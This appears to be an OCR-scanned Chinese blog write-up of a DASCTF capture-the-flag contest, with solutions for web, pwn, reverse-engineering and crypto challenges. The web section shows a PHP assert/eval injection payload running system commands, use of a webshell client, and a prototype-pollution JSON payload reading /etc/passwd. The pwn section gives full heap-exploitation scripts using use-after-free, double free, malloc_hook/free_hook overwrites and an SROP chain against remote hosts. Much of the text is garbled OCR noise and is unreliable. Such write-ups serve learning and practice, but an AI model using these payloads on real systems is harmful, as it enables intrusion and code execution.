20214E G398 4F Light1ngdk BA Writeup

Lela F 2021-09-30 09:20:57 & Ai 2659 W 9
FRLR: CTE XHEiRE: python 24

AL B : ASONE EJRBISCE, #4E CC 4.0 BY-SA FRALIMN, HEIEM LSl A M A= 1 .
ACEERE: https://blog.csdn.net/weixin_52091458/article/details/120560406

CTF LREWFZAE
12 XE 3T
TSR

Light1ng#i BA
—. B A

o ZFR: Lighting
o Hs: 16

. R/
BREFEET, BERET

=, RETE
Web
1.ezphp
ezphp

EXRTEEENG, FrLlEBAFEgitih

" ~/ 8l /GitHack
GitHack.py http:/ 7f63f9-e8cc-42bb-891c-86ekeas .zzctf.dasctf.com/.git
[+] Download and parse inde i

s/about.php

otstrap.min.c

/bootstrap.min.j

Jcontact.php

/flag.php
pages/home.php
static/bootstrap.min.js
static/bootstrap.min.css
static/jquery.min. js



https://blog.csdn.net/weixin_52091458
https://blog.csdn.net/weixin_52091458/category_11163722.html
https://so.csdn.net/so/search/s.do?q=python&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_52091458/article/details/120560406
https://blog.csdn.net/weixin_52091458/category_11163722.html

index.php B K phpHg

<?php

if (isset($_GET['link_page'])) {
$link_page = $_GET['link_page'];
} else {

$link_page = "home";

}

$page_file = "pages/" . $link_page . ".php";

$safe_check1 = "strpos('$page_file', '..") === false";
($safe_check1) or die("no no no!");

/ safe!
$safe_check2 = "file_exists('$Spage_file')";
($safe_check2) or die("no this file!");

?link_page=flag.php', '..") === trueleval($_POST['yy");//
POSTf£%:

yy=system('ls /');



1d716319-e8cc-42bb-891c-8ed: X | ER

€ > C o O 8 1d71639-e8cc-42bb-891c-86e4ea5606b8.zzctf.dasctf.com/?link_page=flag.php’, ".") === trueleval($_POST['yy'I);//

Doamersias @ HiFth DxAmt @ =rms T IuEEsEn - .

bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var
Warning: assert(): assert($safe_check): "strpos('pages/flag.php’, "..") === true|eval($_POST['yy'])://.php', "..") === false" failed in /var/www/html/index.php on line 12

no no no!

v ODEE8 Deds DES NAE (IaRsEE Que Onr B e o Tesis 5 0AEF @ HackBar B Max HacKBar

Encryption ~ Encoding~ SQL~ XSS~ LFl~ XXE~ Other~

g Load URL hitp://1d7163f9-e8cc-42bb-891c-86e4ea5606b8. zzcti.dasctf.com/?link_page=flag.php', '..") === trueleval($_POST['yy'])://
1§ split URL

| +) Execute .

I Postdata [J Referer [] User Agent [J Cookies Clear All

yy=system('ls /');

PATHLT, ISR



- - O % ‘ ©&m A F5 1 flFsE

OFm  xEm | OB o

B ERifs v

3

URLHME = | http://1d7f63f0-e8cc-42bb-891c-86e4ea5606b8.22ct. dasctf.com/2link_pat|

EEEE C py |

FheEE |

wEEE  UTRe v

EEam e v
50

(=) default (F3EE)
) random (3R
O base64

fEpages H & T £ 3lflag

Antsword  gRiE EILl VE,
« == [0 82.157.5.28 '3:"|

O #s: /var/www/html/pages/flag.php

| Jvarfwww/htmlfpages/flag.php CRizr =

1 <2php //DASCTF{af5ff99c7fe8d528e711acc42fd6boge}; 2>
2

DASCTF{af5ff99c7f98d528e711acc42fd6b906}

2.Looking for treasure



</head>

<'— [fsource.zip -——»

<hody>

P L R, R I T RS L

ITFIERS AR
TERENED Hito

a4

content = fs.readFileSync(p).toString()

XEBEHT p3CfE, G SR e R p IR B A RE SE I ST AR R ER .

content = JSON.parse(content)

if (lodash.isEqual(req.body, content))
res.json(content)

else

.send({ "validator": valid, "content™

: content,

res.send({ "validator": valid, "content" : content})

R
log™:

"wrong content"})

XA~contentfreq.bodys B R AMHRIMNAHEE , FrllpMAERESERER EfcontentE & H

BEEPREARK

Ps
if (config.path) {
p = config.path;
L else if (config.filepath) {

p = config.ftilepath;

‘config.json”

config.path4splt e . Fr A48 Jpikiz il pathfi{E

TR LA 2



D) req.params.library = "json-scl

& BiX /M8 3ljson-schema J& B 5575 e

payload

("$schema":{"type":"object","properties":{"__proto__":{"type":"object","properties":{"path":{"type":"string","default":"/etc/passwd"}}}}}}

=m =
Request Response m
(IR Ravw  \n  Actions v (IR Raw Fender \n o Actions v 3
1 POST /validated HITP/1.1 1 HTTB/L.1 200 OK E
2 Host: 26dbl92b-6f66-42c2-b783-che3f58chdas. zzetf. dasctf. com 2 Server: openresty/l. 13.8.1 c
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win6d: =64: rv:90.0) Gecko/20100101 Firefox/90.0 3 Date: Wed, 20 Sep 2021 10:18:47 GMT E
4 Accept: text/html, application/xhtml+xnl, application/xul;q=0.9, inage/webp, #/*:¢=0. 8 4 Content-Type: application/jsem: charset=utf-§ E
5 Accept-Language: zh—CN, zh:g=0. 8, zh-TW:q=0. 7, zh-HK:q=0. 5, en-US:q=0. 3, en:¢=0. 2 5 Content-Length: 1162
G Accept-Encoding: geip, deflate G Comnection: close
7 Content-Type: application/jsen 7 ETag: W/"48a-H13puCOX6bQUalqxbh/+d/ 2Bn0"
S Content-Length: 138 ]
9 Origin: http://26db192b-6£66-42¢2-h783-cbe3f58cbdBE. zzctf. dasctf. com o {
10 Connection: close “validator”: {
11 Referer: http://26dbl02b-6f66-42c2-b783-cbe3f58chdas. zzctf. dasctf. con/validate “valid”: true,
12 Upgrade-Insecure-Requests: 1 “errors”: [
13 1
144 H
“$schema”: { “content”: "root:x: 0:0:root: /root:/bin/bashindaemon: x: 1: 1: daemon: /usr/sbin: fusr/sbin/melogin\nbin: x: 2: 2:bin: /1
“type”:“object”, 1
“properties”: {
" __proto__": {

“type”: "object”,
“properties”: [
“path”: {
“type”: “string”,
"default”: */etc/passwd”
i

LR T letclpasswd A2, FEiliflag?Etl BH3%, E#:iLflag

("$schema":{"type":"object","properties":{"__proto__":{"type":"object","properties":{"path":{"type":"string","default":"/flag"}}}}}}

Hom

POST /validated HTTP/1.1

Host: 26db192b-6f66-42c2-b783-cbe5f58cbd88.zzctf.dasctf.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/json

Content-Length: 132

Origin: http://26db192b-6f66-42c2-b783-cbe5f58cbd88.zzctf.dasctf.com
Connection: close

Referer: http://26db192b-6f66-42c2-b783-cbe5f58cbd88.zzctf.dasctf.com/
Upgrade-Insecure-Requests: 1

("$schema":{"type":"object","properties":{" proto__ ":{"type":"object","properties":{"path":{"type":"string","default":"/flag"}}}}}}




Burp Suite Professional v2020.11.3 - Temporary Project - text

Z Bup Froject Intruder Repeater Window Help

|
a
X

1 POST /validated| HTTP/1.1
2 Host: 26db192b-6f66-42c2-b783-che558chds8. czotf. dasctf. con
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win6d; x64; rv:90.0) Gecko/20100101 Firefox/90.0
4 Accept: text/html,application/xhtml+xunl, application/znl;q=0. 9, inage/webp, ¥/* q=0. 8
5 Accept-Language: zh-Cl, zh;q=0. 8, zh-TW:q=0. 7, zh-HK: q=0. 5, en-US ; q=0. 3, en; g=0. 2
6 Accept-Enceding: gzip. deflate
7 Content-Type: application/json
© Content-Length: 132
9 Origin: http://26db192b-6£66-42¢2-b783-che5f58chd8s. zzctf. dasctf. con
10 Conmection: close
11 Referer: http: //26db192b-6£66-42c2-hT83-cbesf58chd8s. zzctf. dasctf. con/
12 Upgrade-Insecure-Requests: 1
13
144
“$schema”: {
“type”: "object”,
“properties”: {
"__proto__":{
"type": "object”.
“properties”: {
“path”: {
“type”: "string’,
“default”: "/flag”
i

@B €[

Done

Dashboard ~ Target | Proxy | Intruder | Repeater ~ Sequencer = Decoder | Comparer | Extender | Projectoptions  User options

1

[ send || cancel |[<]¥ Target: http://: 666-42c2-h783 zzctt.dascti.com 7 @
= . (=

Request Response m =

EEM raw \n Actions v (Il Raw Render \n o Actions v

1 HITP/1.1 200 OK

2 Server: openresty/1.15.8.1

3 Date: Wed, 29 Sep 2021 12:19:45 GUT

4 Content-Type: application/json: charset=utf-§
5

6

8

Content-Length: 95
§ Connection: close
7 ETag: ¥/ 5f-dc44C9y1Esk¥1WUkuh/EnghzERe"

9[{
“validator” {
“valid”: true.
“errors” [

b
"content”: "DASCTF {5117143e660£592adc982dd96d2e3f 17} \n"
b

”YOLDIdSNI

0 matches ®{§} ‘EHE” Search...

‘ 0 matches

307 bytes | 98 millis

DASCTF{5117143e660f592adc982dd96d2c3f17}

PWN

1.null

IEHRSRERHER, off-by-oneliF, ET LAIE Neditfladd#HAread_input OO HE, MIKFABIEXMread_input O EREH

"] LR ViEE A ; WO S TULALYUS R = HEA TLEW 4

unsigned _ int64 edit()

ol

3| int vl; // [rsp+Ch] [rbp-24h]

4| char buf[24); [/ [rsp+18h] [rbp-20h] B
S| unsigned __int64 v3; f/ [rsp+28h] [rbp-¢
6

7| w3 = __readfsqword(®x28u);

8| printf({"Index:");

9| read(®, buf, 6uLL);
18| vl = atoifbuf);
11 if ( vl »= @ && vl <= 15 )

13 if ( *(&heaparray + v1) )

15 printf("Content?:");

16 read_input(*(&heaparray + v1), sizearray[vl1]);
17 }

18 else

19 {

28 puts{“"Edit Error");

221 }

23| else
24
25 puts("Error"});

26| }

27| return __readfsqword(@x28u) * v3;
28}
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EXp:



rom pwn import *
#Hio=process("./null’)
io=remote('82.157.5.28',50404)
elf=ELF("./null')

#libc=elf.libc
libc=ELF('./libc-2.23")

def (choice):
io.sendlineafter('choice :',str(choice))

def (index,size,context):

choice(1)
io.sendlineafter('Index:',str(index))
io.sendlineafter('Size of Heap : ',str(size))
io.sendafter('Content?:',context)

def (index):
choice(2)
io.sendlineafter('Index:',str(index))

def (index,context):

choice(3)
io.sendlineafter('Index:',str(index))
io.sendafter('Content?:',context)

def (index):
choice(4)
io.sendlineafter('Index :',str(index))

(:
malloc(0,0x18,'0\n")
malloc(1,0x78,'1\n")
malloc(2,0x68,'2\n")
malloc(3,0x68,'3\n")
malloc(4,0x88,'4\n")
edit(0,'0"0x18+p8(0xf1))
free(1)
malloc(1,0x78,'\n")

)
addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
mallochook=addr-0x68
libcbase=mallochook-libc.symbols[' __malloc_hook']
onegadget=[0x45226,0x4527a,0xf03a4,0xf1247]

malloc(5,0x68,'5\n")

free(5)

edit(2,p64(mallochook-0x23)+"\n")

malloc(6,0x68,'6\n")
malloc(7,0x68,'7"*0x13+p64(onegadget[3]+libcbase))#malloc_hook
io.sendlineafter('choice :','1")

io.sendlineafter('Index:','8")

io.sendlineafter('Size of Heap : ',str(0x18))

io.interactive()
pwn()




iR SAE, free/51R4HRE BO, #ERuafigif, HiEfreechunkitElibc, FTmalloc_hook

rom pwn import *

sh=remote('82.157.5.28',51402)

context.log_level="debug'

elf=ELF("./uaf_pwn')

libc=elf.libc
def exp():

def (size):

sh.sendlineafter(">","1")

sh.sendlineafter("size>",str(size))

def dele(idx):

sh.sendlineafter(">","2")

sh.sendlineafter("index>",str(idx))

def (idx,content):

sh.sendlineafter(">","3")

sh.sendlineafter("index>",str(idx))

sh.sendlineafter("content>",content)

def (idx):

sh.sendlineafter(">","4")

sh.sendlineafter("index>",str(idx))

add(0x80)

add(0x60)

add(0x60)

add(0x60)

add(0x60)




for i in range(4):
edit(i,str(i)*8)
dele(0)
show(0)
libc_base = u64(sh.recv(6).ljust(8,"\x00"))-88 - 0x10-libc.sym["__malloc_hook"]
success("libc_base => 0x%Xx",libc_base)

malloc_hook = libc_base + libc.sym[" _malloc_hook"]
ELe[o[(0)%10))

dele(1)

dele(3)

dele(1)

edit(1,p64(malloc_hook-0x23))
gadget=[0x45226,0x4527a,0xf03a4,0xf1247]
add(0x60)

add(0x60)

edit(7,"a"*0x13+p64(gadget[1]+libc_base))
add(0x90)
sh.interactive()

exp()

3.Greentownnote

XAMERIRIFLE T delelX MEME, H&¥ptr+8EO

X UEEIHF YRR I T exevce, Rtk fag



E#doublefreeitt FElibc, F|HlibcH [ i Fcontextm] AN Kk THIER, FRATEHE LIR AT E iFrop, 7EF|Hfree_hook ek it fil
K, context+53, ¥R BB BT Kropkt, SREFIFHsrop¥iripts Hsyscall, iHiflag

SE®exp:

rom pwn import *

io = remote('82.157.5.28',51301)
elf = ELF('./GreentownNote')

libc = ELF("./libc-2.27.s0")
context.log_level="debug'
context.arch="amd64'

def (size,content):
io.sendlineafter(‘choice :','1")
io.sendlineafter('size :',str(size))
io.sendlineafter('Content :',content)

def (index):
io.sendlineafter('choice :','2")
io.sendlineafter('Index :',str(index))

def (index):
io.sendlineafter('choice :','3")




io.sendlineafter('Index :',str(index))

ladd(0x100,'a"*(0x10))
add(0x100,")

dele(0)

dele(0)

show(0)

io.recvuntil("Content: ")

leak = u64(io.recv(6).ljust(8,"x00"))

heap_base = leak - 0x260
success(hex(heap_base))
add(0x100,p64(heap_base+0x10))
add(0x100,'a"8)

add(0x100,"x07"*0x40)

dele(3)

show(3)
laddr=u64(io.recvuntil("\x7f")[-6:].ljust(8,b"x00"))
malloc_hook = addr-0x70

libc_base = malloc_hook-libc.sym[' _malloc_hook']
ree_hook = libc_base + libc.sym[' __free hook']

setcontext = libc.sym['setcontext']+libc_base+53

syscall = libc.search(asm("syscall\nret")).next()+libc_base
print(‘libc_base',hex(libc_base))
add(0x100,"x07"*0x80+p64(free_hook))
add(0x90,p64(setcontext))

rame = SigreturnFrame()
= (free_hook&Oxfffffffffffff000)+8

rame.rsi = free__hook&O0xfffffffffffffO00
rame.rdx = 0x280
rame.rip = syscall

pop_rdi=libc.search(asm('pop rdi\nret')).next()
pop_rsi=libc.search(asm('pop rsi\nret')).next()
pop_rdx=libc.search(asm('pop rdxX\nret')).next()
pop_rax=libc.search(asm('pop rax\nret')).next()

add(0xf8,bytes(frame)[0:0xf8])

= [pop_rditlibc_base,free _hook&0xffffffffffff000,pop_rsi+libc_base,0,pop_rdx+tlibc_base,0,pop_rax+libc_base,2,syscall]
#read(0,addr,0x40)
code+=[pop_rdi+libc_base,3,pop_rsitlibc_base,(free_hook&Oxfffffffffffff000)+0x400,pop_rdx+libc_base,0x40,pop_rax+libc_base,0,syscall]
#write(1,addr,0x40)
code+=[pop_rditlibc_base,1,pop_raxtlibc_base,1,syscall]
shellcode="./flag".ljust(8,"\x00")
shellcode+=flat(code)
io.sendline(shellcode)
io.interactive()

RE

1.easy_re

BFEAHE, EAOD, #HATHr




nov

C |"JE'I

RO B K xor N2 X By 70 7, R/ Z M FE LR dump iR, R/EFEdumpEIfI A AE, BIWT ikl B 3 (BT A5,
HIEBE, WA REARCAEDD

A5 28 6530 Fu £B DRI2KTASNGTA| BxdiriE(eagte
6F DU 6A D7 B 8o E8 w 5n 6E|BE CB Fh LB n?t #g;JZn;q&
6838F9D4|99 D6 E6 SM|.Zn 4F 50 1u|E5 Ec 38 08|32 88 08 08| {sEz0PN/ES 2. .

ﬂil 06 00 06 oo

Dumpid %, 25 B3

2.[warmup]babyvxworks

IDA bR
aaa esp, wn
push 78h
push ebx

r"-;" Warning ﬁ

Decompilation failure:
! % 492: positive sp value has been found

Please refer to the manual to find appropriate actions

I:‘ Don' t display this message again (for this session only)

4

REAE, XR—MERS Efnop



call  sub_3200

add esp, 4

lea eax, [ebp-8Bah]
push eax

push offset off_1276C
call sub_33C0

add esp, 2
jz short loc_488
jnz short loc_488
call

niear ptr 1o6c A9ZF3
jmp short near ptr loc_484#1

db @Esh

H

FaEE, RULEKFTHEEELSE, BEHEDAFS

M meg ] mmscocooooo- wm pumeame e wmesmas ] beswoesmwe mas ) nwsees e ]otessmmemmam o omas)uuss
1lint sub 308()
2

3 dint &; S/ ebx

int vl; /f eax
5 3 /f 5734 4
6 /4 [espsidh] [ebp-Cah)
7| dnt v5; fJ [espeish] [ebp-Coh]
B dint vB; Jf [esps2dh] [ebp-BEh]
9
]

char wi; ff [esp+2Bh] [ebp-Bdh]
char w8; S [esp+SCh] [ebp-7Ch]

12 sub_3200(8v7, @, 48);

13 sub_3z0e(dvs, @, 120);

14 wiw@;

15 sub_20F@(8.5, BT, 48);

16 sub_28Fa(8v5, &vE, 128);

17| w5 = 9

18 geescpy(Bv7, dword 126FB, @x38u);
19 sub_3200("Plz Imput Flag: =);

28 sub_33CO(&off 1276C, &.7);

®sub_ 2458( "C: /WindRiver fworkspace/helloworld/helloworld. =, 21, &8, @, 4) = 188;
22 ®sub_24%8("C:/WindRiver /workspace/helloworld/helloworld.c™, 21, BvE&; 4, 4) = 18;
23 *sub_2450("C:/wWindRiver /workspace/helloworld/helloworld.c™, 21, &v5, 8, 4) = 187;
24| *sub_2450("C:/windRiver /workspace/helloworld /hellowerld.c™, 21, 8v8, 12, 4) = 193;
25 *sub_2450("C:/WindRiver /workspace/helloworld hellowerld. <=, 21, 8v8, 16, 4) = 213;
26/ "sub_2450(“C:/WindRiver /workspace/helloworld hellowerld. <=, 21, 88, 20, 4) =
27 "sub_2458{"C:/WindRiver/workipace/helloworld/helloworld. <™, 21, 8vE, 24, 4) =

28 "sub_2450("C:/WindRiver/workspace/helloworld/helloworld.c™, 21, &vE, 28, 4) = 18;

i

25 “sub_2458("C:/WindRiver/workspace/helloworld/helloworld.c™, 21, &vE, 32, 4)
2@ *sub_24%8("C:/WindRiver/workspace/helloworld/hellowerld.c™, 21, &v8, 36, 4)
31 *sub 2458("C:/WindRiver/workspace/helloworld/hellowerld.c™, 21, &v5, 48, 4)
DOOD04EE sub 30015 (452)

me
=
i

® 32 "sub_2450("C:/WindRiver/workspace/hellowarld/helloworld.c”, 21, &vE, 44, &) = 78;
&3 = "C: MindRiver workspace/helloworld/helloworld.c™, 21, 85, 48, 4) = 136;
L “C:/indRiver/workspace/helloworld/helloworld.c®, 21, &6, 52, &) = 18;
® 35 i MindRiver fworkipace/hellowor Ld/helloworld. ™, 21, &8, 56, 4) = 130;
® 35 : MindRiver /workspace/hellomarld/helloworld.c”, 21, &vE, 68, 4) = 18S;
. 37 1MWindRiver/morkspace/helloworld/helloworld.c™, 21, 8vE, 64, 4) = 49;
® 35 1 MindRiver/workspace/hellowarld/helloworld. c®, 21, &vE, 68, 4) = 141;
® 3 : MindRiver /workspace/hellowarld/helloworld. c”, 21, &vE, 72, &) = 18;
& 48 "C: MindRiver fworkspace/helloworld/helloworld.c™, 21, 85, 76, 4) = 253;
L “C:/indRiver/workspace/helloworld/helloworld.c®, 21, &vE, 80, &) = 201;
LI F] i MindRiver fworkspace/hellowor Ld/helloworld. ™, 21, &8, 84, 4) = 199;
L L] 1 MindRiver/ /workspace/hellomarld/helloworld.c™, 21, &5, 88, 4) = 127;
[ I 1MindRiver/morkspace/helloworld/helloworld.c™, 21, 8vE, 92, 4) = 185;
. a5 1 MindRiver /workspace/hellowsrld/helloworld. c®, 21, &vE, 96, 4) = 17;
Lt : flindRiver fworkspace/hellowor Ld/helloworld. ™, 21, 8vE, 100, 4) = 75;
& 47 "C: MindRiver workspace/helloworld/helloworld.c™, 21, &5, 184, 4) = 185;
® 28 *sub_2450("C:/WindRiver /workspace/helloworld/helloworld. c®, 21, EvE, 108, 4) = 232;
® 40 =sub_2450("C: /WindRiver workipace/hellowor ld/helloworld. ™, 21, 8B, 112, 4) = 141;
® 53 : MindRiver/ /workspace/hellowarld/helloworld.c™, 21, &vE, 116, 4) = 87;
® 51 wi = strlen(fv7);

52 for (1 =@ & < vidy 42l )

53 {
82 w1 = sub_2480("C:/WindRiver/workspace/helloworld/helloworld c”, 24, Bv7, 1, 8);

.
® 55 sub_33e(v1, va);
® 56 w2 = "sub_2458("C:/WindRiver/workspace/helloworld/hellowerld. c®, 26, &7, i, 1);
® 57 if { "sub_2458{"C:/WindRiver/workspace/helloworld/helloworld.c®, 26, BvE, 4 * i, 4) == v2 )
® 53 #US]

T 58 }
@ 63 return sub BCE();

D ey

OO000TIE sub_300:45 (T4A)



) 1 Vien [ Psendocod B | [@] Stack of sub_- ) Serisgs wine [T e Via | (7] Strmenwn

1signed int 3
B
w3 I e
4 M
i ( la2 )
return 1;

= sub_2450("C:WindRiver/workspace/hellowerld/hellowerld.c™, 19, al, @, 1);
. Ll r.TH
4 = gub_2450(°C: MindRiver /workspace/helloworld/hellowerld.c®, 11, a1, @, 1);
"4 4m 3
return sub 338(al, = 1}

131}

HelloworldF 7 M, HWARS, HEFERHE, sEEHRR022, HFin3, HESTHAR

r ok 3]

FHAER ERlRD 4F W8 (&3
el

Hils =8 WE M &

Lup

rei = | 189, 10, 187, 193, 203, UM 02T, 10, 200, 185, A1, TA, 126, 10, 130, BN 46, N4, 10, 2T), 0L, 198, 12T, MBS AT, TR OS2, 141, W7 ]

ST 0D, 1)
¥ = ran i
» TR O, 3
L
i+ » = RE fe 30
AR O
[LE RS N ]

WEIRER O

o R ()
Ll |

flag:

lag{helo_wOrld_W3lcome_70_R3}

3.4 A bl
S RIBREFF AT AT B

if { sub_11DC{v4, v3, v8, v5, v&, v7, v15, v16, vli7, v18, via} )
puts("Missed!™);

else
puts("You Win!"};

return @LL;



= — = = = 1 —
| BOOL8 sub_11DC()
1
double v1; // [rsp+@h] [rbp-28h]
double v2; // [rsp+8h] [rbp-18h]
double v3; // [rsp+18h] [rbp-18h]
double v4; // [rsp+l8h] [rbp-8h]

if ( *&x > *&y - 8.801 )
return 1LL;

if ( *&z > *&d - @.801 )
return 1LL;

vid o= 149.2 F Fgyw + F&x F -27.6 F F&x - 129.8;
V3 o= 149.2 * ¥Ry + Ry * 27.6 * *Ry - 129.8;
w2 = *&z * -39.6 ¥ *&z + 59.2 * *®zr + 37.8;
vl = *&d * -39.6 * *&d + 59.2 * *&d + 37.8;

return w4 <= -8.808883
[] w4 »= o.00083
|| v3 <= -0.00003
[] v3 »= o.00083
|| v2 <= -p.0BEB2
|] vz »= o.08882
|| v1 <= -0.00083
[| vi »= @.0008083;

REE, BAEikx<=y-0.001 z<=d-0.001 HE# L M4 — T8 kG2, FARREVI V2 V3 VAR BUETE BI#R /N, TR#EET
0, AEiHvI=v2=v3=v4=0, R FIX4N— 0 IR TR (L R~ TE LML http://www.ab126.com/shuxue/8009.html), fEF4AME X1 =
1.08,x2=433x3=-048,x4 =198, XRANIZEE, B NEY

]
ETRE ) bl HeF #iE
FigiE OTEFCTAD § = SFFI4TAEI4TAEL4S

OTSFCTAD

HAIMB R FRIXAEESR, RJEHRIEx<=y-0.001 z<=d-0.001, A %Ix=1.08,y=4.33,d=1.98,7=-0.48

B BTFE, XEHESER—AMERMEE, HIR T Aflaghooooooc-xoox-x000x-x00x-xo000000ocd i R iflag, 3B xR
KRR TER

| — | !
42| w19 = @;

43| puts("input your flag:");

44| v3e = @;

45| _ isec99 scanf("¥43s", &v20);

46| vE = "wxux{galf’;

47w o= M-

48 wlB = " -oMKMK-xX '

49 wll = "0ooc-KKKK '

58] w12 = "I0000KK "

51| wl3 = "}x";

52 w14 = @;

53 for (1 =@; 1 <= 42; ++1 )

54 {

55 if ( *(&vE + 1) == 128 )

56

57 if ( sub 1155(*(&v2e + 1)) < @ )
58 {

59 puts("you lost!™);

68 exit(1l);

61

&2 *(&15 + v3IEH) = *(&v20 + 1)
63 3

64 else if ( *(&v20 + i) != *(&vE + 1) )
&5 Ty

66 puts("you lost!™);

67 exit(1);

&8 1

69| 3}



LEJRZENIIEA

¥
for (7 =8; 7 <= 3; ++7 )
{
*(&x + 1) = @;
By + 7)) =8
*(&z + ) = @;
*(&d + ) = @;
1

BHAER, REHTHE

fl
for ( k= 8; k <= 3; ++#k )

(8 + v3) = sub_1198(*(8v15 + 2 * k), *(&v15 + 2 * k + 1)):

*(8y + va) = sub_1198(*(&v15 + 2 * (k + 4)), *(BvI5 + 2 * k + 9));

5 o= ko4 43

*(&z + v5) = sub_1198(*(&v15 + 2 * (k + 8)), *(&v15 + 2 * k 4+ 17));

ve =k + 4;

*(&d + vG) = sub 119B(*(8v15 + 2 * (k + 12)), *(&v15 + 2 * k + 25));
}

inte4  fastcall sub_1198(char al, char a2)
int v2; // ebx

v2 = 16 ¥ sub 1155(a1);
return (v2 + sub_1155(a2});

}

1
2
3
1
3
7

IDA View—h | | | [E] Freudocode—a [£] | [Z]5tack of ma
L[ inte4 _ fastcall sub_1155(char al)

o

3| unsigned int v2; // [rsp+1l8h] [rbp-4h]

]

3

v2 = =1;
30 if ( al <= 96 || al > 182 )
Ao
3 if ( al » 47 B&% 3l <= 57 )
3 v2 = al - 48;
3}
L else
1A
3 v2 = al - B7;
ol
3| return vZj
it

X B S AR, WA3REILERHZ13, MAab, REIZRHMLAB.

LRXEFNATEER, KRR BETANFEY, MBIAISERIERERSNF, RERAWHERINMFZME, FUR
HER 2 No, HSLFHANTFN, WEENEABREmEMTEREMY, MURMTUERE, ¥R, mEEhR—NaE,
MAR—AHUINET, FIUEadHEEEFL, NG, flagitfEE L4, FHERARZEHIbug)flag{48e17a14-52b8-1€85-
b81e-85ebaed7e17a}



rn v4 <= -8.888083
[| v&4 »= @.00083
|| v3 <= -8.80803
[| v3 »= @.00083
|| v2 <= -8.88802
[| v2 »= @.00082
|| vi <= -8.80803
[| vi »>= @.08083;

Crypto
1.RSA-1

5 500, cHR R p 5 5, SR P 3 24 1% B T 48 2 p, Ja T ] B SR RSAB AT

rom gmpy2 import *from Crypto.Util.number import *n =17365231154926348364478276872558492775911760603002394353723603461898
4057402347150018201115486009149076170038066524923916867102562741566778871019971756922777296484560875349876167437|
2464659823446609477954072941358382635514527798047904015707545369425057231663834812157121875976953373872150681117
5866990851972838466307594226293836934116659685215775643285465895317755892754473332034234495795936183610569571016
4005353627626995176867816023020450485321314260352608789798921694410594676235230605692855705771992363098881558330
1372199793396045778465326207613556176983870416681038430965578898307337694 1843467 117256002645962737847¢c =69449671
0881543773542894128678411940313831971345573215592505592864653696259767294180583131213068933801491345208129640027|

2862710447207265099750401657828165836013122848656839100854719965188680097375491193249127725599660383746827031803
0660264979892988564202162502060350681809637974547921511910714336459462459149167326370071170851994428944956674555
44517483404006536607121480678688000420422281380539368519807 16 21750997638919886481179377779510698999752601900189
9583490454144756271830743390659202122666688563887702030400561445076308133708283860841475616225382569742049350991
4578546951634127502393647068722995363753321912676p=gcd(n,c)q=n//p phi=(p-1)*(q-1)e=65537d=invert(e,phi)M=powmod(c,d,n)m=M/
2021//1001//pprint(long_to bytes(m))

flag:

lag{Math_1s_1nteresting_hah}

2.Warmup

i 6 n s B0 — T BRAT

str1 = 'abcdefghijkimnopqgrstuvwxyzZABCDEF GHIUKLMNOPQRSTUVWXYZ'c="aoxL{XaaHKP_tHgwpc_hN_ToXnnht}'s="for i in c: ifiin str1:

a=str1.find(i) s+=str1[((a-23)*45)%52]print(s)

flag:
lag{AffinE_ClpheR_iS_clAssiC}

3.RSA plus
B

n1 2R TR, H
mFIn ~Fl~ FHIFE B 18l N ZE 2B I NE it an AW B ANGR ZE RUNT1 RANTO @ S IRAHEZR 04 P32 47 7H A LA vh 4

4 3
oy
B 51p2,g22f1,p2,g22 #, A@iEsk

T = (p+alet e e e e 2
< | i F




import sympyfrom gmpy2 import *from Crypto.Util.number import *def solve(a,b,c): delta=b*b-4*a*c if delta<0: return (0,0) delta=isqrt(
delta) if (-b+delta)%(2*a)!=0 or (-b-delta)%(2*a)!=0: return (0,0) return ((-b+delta)//(2*a),(-b-delta)//(2*a))n1=63487799796062808845
8942218873890247057587629464349283146594736036356802628096398929159115771038962921610961527475471832998799055183
6115660879103234129921943824061416396264358110216047994331119920503431491509529604742468032906950984256964560405
0623452801205267714399402786062261530779590578822627452733949866070044067700354593016958063785988905894325389162
1982147777702146018914008152177910322695354442644182324476582834297308642294901793770126134896354103512866146406
8769033772390320426795044617751909787914185985911277628404632533530390761257251552073493697518547350246993679844
132297414094727147161169548160586911a1=7967923179603503735444962748723622020187879772909390987712739675004350330
0636464774059752126148617367251988043645511172901030621825575172979048675217341753594180007984204016274224280609
4804943050404390358551094222399425229684681332748839863496467659473170768859181742995372973519364482967841660038
90345486613a2=n1//a1for p0 in range(1,2000): for qO in range(1,2000): term=(a1-a2+p0*q0)**2+4*p0*q0*a2 if iroot(term,2)[1]==Tr
ue: g=(iroot(term,2)[0]-p0*q0-a1+a2)//(2*p0) if q!=0 and a2%q==0: print(q) print(p0) print(q0)gq=106
1981405875684982941222071957207837486623148265960071770685983236624365225680814392375528021884761950864739911470
5626452464205932047979078592015381325551p=7502883888097212950622788817096216502912511795977786941568063923158816
805073284550069689733527712330353018568842826730967449095687927404679782394052855569p0=828q0=726p1=p+p0q1=q+q0e=
65537¢1=62018820789954556733763276529826101028078747830737030185510447804406206792178332277113956891146591445066
3060908760091511694011100202624105680818965896908953259775799542369496666794825043857963989058069039240066171186
4264184444018345499567505424672090632235109624193289954785503512742400960515331371813467034511130432319427185134
0188300069186827338486182010886496904228189403851235994685957663456689318822497794157881293165940832694122218047
7485603879624803870027550939759935153328001490889406814105669466031981604635746268468894251984944123787801848003
6145051967731081582598773076490918572392784684372694103015244826phi=(p-1)*(g-1)*(p1-1)*(q1-1)d1=invert(e,phi)flag1=long_to_b
ytes(pow(c1,d1,n1))SUM=2747731467611384627081375823090973864377938917936913830338565243030108112941019334548244850
1052146891484615181987604350854187963754444425652074141849547939377713283098585652200856108841086281591329228868]
3761657919121930016956916865849261153721097671315883469348972925757078089715102032241818526925988645578778MUL=1
